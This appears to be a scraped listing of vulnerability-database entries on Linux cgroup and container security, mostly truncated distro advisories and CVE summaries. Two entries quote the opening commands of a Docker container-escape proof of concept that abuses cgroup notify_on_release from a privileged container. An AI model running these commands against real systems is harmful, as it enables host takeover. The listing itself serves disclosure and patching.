Fedora Update for lxcfs FEDORA-2019-2baa1f7b19

The remote host is missing an update for the Copyright C 2019 Greenbone Networks GmbH Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-or-later This program is free software; you can...

[SECURITY] Fedora 29 Update: lxcfs-3.0.4-1.fc29

LXCFS is a simple userspace filesystem designed to work around some current limitations of the Linux kernel. Specifically, it's providing two main things - A set of files which can be bind-mounted over their /proc originals to provide CGroup-aware values. - A cgroupfs-like tree which is container...

[SECURITY] Fedora 30 Update: lxcfs-3.0.4-1.fc30

LXCFS is a simple userspace filesystem designed to work around some current limitations of the Linux kernel. Specifically, it's providing two main things - A set of files which can be bind-mounted over their /proc originals to provide CGroup-aware values. - A cgroupfs-like tree which is container...

Moderate: Red Hat Security Advisory: podman security, bug fix, and enhancement update

An update for podman is now available for Red Hat Enterprise Linux 7 Extras. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability...

Docker Container Escape

On the host docker run --rm -it --cap-add=SYSADMIN --security-opt apparmor=unconfined ubuntu bash In the container mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x echo 1 /tmp/cgrp/x/notifyonrelease hostpath=sed -n 's/.\perdir=^,./\1/p' /etc/mtab echo...

Docker - Container Escape

Docker - Container Escape On the host docker run --rm -it --cap-add=SYSADMIN --security-opt apparmor=unconfined ubuntu bash In the container mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x echo 1 /tmp/cgrp/x/notifyonrelease hostpath=sed -n 's/.\perdir=^,./\1/p'...

Kernel update: Virtuozzo ReadyKernel patch 79.0 for Virtuozzo 7.0 Update 10

The cumulative Virtuozzo ReadyKernel patch was updated with stability fixes. The patch applies to the kernel 3.10.0-957.10.1.vz7.85.17 Virtuozzo 7.0 Update 10. Vulnerability id: PSBM-94269 It was found that the memcg ID number of a cgroup was released earlier than needed and could be reused by a...

SUSE SLES12 Security Update : slurm (SUSE-SU-2017:3311-1)

This update for slurm fixes the following issues: Slurm was updated to 17.02.9 to fix a security bug, bringing new features and bugfixes fate323998 bsc1067580. Security issue fixed : - CVE-2017-15566: Fix security issue in Prolog and Epilog by always prepending SPANK to all user-set environment...

Oracle Linux 7 : libvirt (ELSA-2018-1396)

The remote Oracle Linux 7 host has packages installed that are affected by multiple vulnerabilities as referenced in the ELSA-2018-1396 advisory. - qemu: avoid denial of service reading from QEMU monitor CVE-2018-5748 CVE-2018-5748 - qemu: avoid denial of service reading from QEMU guest agent...

Low: Red Hat Security Advisory: libvirt security and bug fix update

An update for libvirt is now available for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Low. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE...

The vulnerability of the blkcg_init_queue function in the Linux operating system allows a hacker to cause a service failure or exert other effects.

The vulnerability of the blkcginitqueue function in the Linux kernel’s block/blk-cgroup.c file is due to the repeated release of memory. Exploiting this vulnerability could allow an attacker to cause a service failure or have other adverse effects...

Linux kernel denial of service vulnerability (CNVD-2018-06306)

The Linux kernel is a computer operating system kernel written in C and assembly language, compliant with the POSIX standard, and distributed under the GNU General Public License. A denial of service vulnerability exists in the blkcginitqueue function in block/blk-cgroup.c in the Linux kernel pri...

DEBIAN-CVE-2018-7480

The blkcginitqueue function in block/blk-cgroup.c in the Linux kernel before 4.11 allows local users to cause a denial of service double free or possibly have unspecified other impact by triggering a creation failure...

CVE-2014-8171

The memory resource controller aka memcg in the Linux kernel allows local users to cause a denial of service deadlock by spawning new processes within a memory-constrained cgroup...

DEBIAN-CVE-2014-8171

The memory resource controller aka memcg in the Linux kernel allows local users to cause a denial of service deadlock by spawning new processes within a memory-constrained cgroup...

CVE-2014-8171

The memory resource controller aka memcg in the Linux kernel allows local users to cause a denial of service deadlock by spawning new processes within a memory-constrained cgroup...

CVE-2014-8171

The memory resource controller aka memcg in the Linux kernel allows local users to cause a denial of service deadlock by spawning new processes within a memory-constrained cgroup...

Unbreakable Enterprise kernel security and bugfix update

4.1.12-112.14.1 - ext4: fix off-by-one on max nrpages in ext4findunwrittenpgoff Eryu Guan Orabug: 27233471 4.1.12-112.13.1 - cgroup: make sure a parent css isnt offlined before its children Tejun Heo Orabug: 27179269 4.1.12-112.12.1 - ctf: allow dwarf2ctf to run as root but produce no output Nick...

kernel security and bug fix update

3.10.0-693.5.2.0.1.el7.OL7 - ipc ipc/sem.c: bugfix for semctl,,GETZCNT Manfred Spraul orabug 22552377 - Oracle Linux certificates Alexey Petrenko - Oracle Linux RHCK Module Signing Key was compiled into kernel [email protected] - Update x509.genkey bug 24817676...

SUSE SLED12 / SLES12 Security Update : systemd (SUSE-SU-2017:2031-1)

This update for systemd provides several fixes and enhancements. Security issues fixed : - CVE-2017-9217: NULL pointer dereferencing that could lead to resolved aborting. bsc1040614 - CVE-2017-9445: Possible out-of-bounds write triggered by a specially crafted TCP payload from a DNS server...